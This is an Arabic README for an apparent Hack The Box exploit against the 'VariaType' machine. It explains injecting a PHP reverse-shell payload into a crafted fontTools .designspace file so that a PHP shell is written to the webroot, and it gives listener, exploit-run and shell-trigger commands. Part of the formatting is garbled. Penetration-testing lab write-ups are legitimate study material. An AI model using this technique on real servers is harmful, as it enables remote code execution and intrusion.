
يحتوي هذا المستودع على استغلال متخصص لجهاز VariaType على منصة Hack The Box. يستغل هذا الاستغلال ثغرة في كيفية تعامل مكتبة fontTools أو تطبيق الويب مع ملفات .designspace الخاصة بـ XML واستيفاء البيانات الوصفية لتحقيق تنفيذ الأوامر عن بُعد (RCE).
تقع الثغرة في عملية توليد الخطوط. من خلال إنشاء ملف designspace خبيث، يمكننا حقن حمولة قشرة عكسية بلغة PHP في البيانات الوصفية للخط (تحديدًا في حقل <labelname>). عندما يعالج الخادم هذه الملفات لتوليد خط متغير، فإنه يكتب المخرجات إلى مسار يحدده المستخدم، مما يسمح لنا بوضع قشرة .php في الجذر العام للويب (webroot).
source-light.ttf و source-regular.ttf باستخدام fontTools.designspace خبيث يحتوي على حمولة PHP مغلّفة بـ CDATA..php في الدليل العام.يجب أن يكون لديك Python 3 مثبتًا بالإضافة إلى المكتبات التالية:
pip install fontTools requests
على جهازك المحلي (أو Pwnbox)، ابدأ مستمع Netcat:
nc -lvnp 4444
نفّذ السكربت عن طريق توفير عنوان IP الخاص بشبكة VPN الخاصة بـ HTB ومنفذ المستمع:
python3 exploit.py --ip <YOUR_IP> --port 4444
إذا أرجع الرفع استجابة 200 OK (أو حتى 500 في بعض الأحيان إذا تمت المعالجة قبل حدوث الخطأ)، فسيوفر السكربت اسم الملف. يمكنك الوصول إليه عبر curl أو متصفحك:
curl http://portal.variatype.htb/shell_xxxxxx.php
هذا السكربت مخصص للأغراض التعليمية واختبار الاختراق المصرح به فقط. الوصول إلى الأهداف أو مهاجمتها دون إذن مسبق يعد أمرًا غير قانوني.
README.md في نفس المجلد الذي يحتوي على سكربتك.exploit.py أو قم بتحديث اسم الملف في الأوامر أعلاه.| الوسيط | الوصف | الافتراضي |
|---|
--ip | عنوان IP الخاص بالمستمع (VPN) | مطلوب |
--port | منفذ المستمع الخاص بك | مطلوب |
--path | المسار المستهدف للقشرة | /var/www/portal.variatype.htb/public |
--url | نقطة نهاية الرفع | http://variatype.htb/tools/.../process |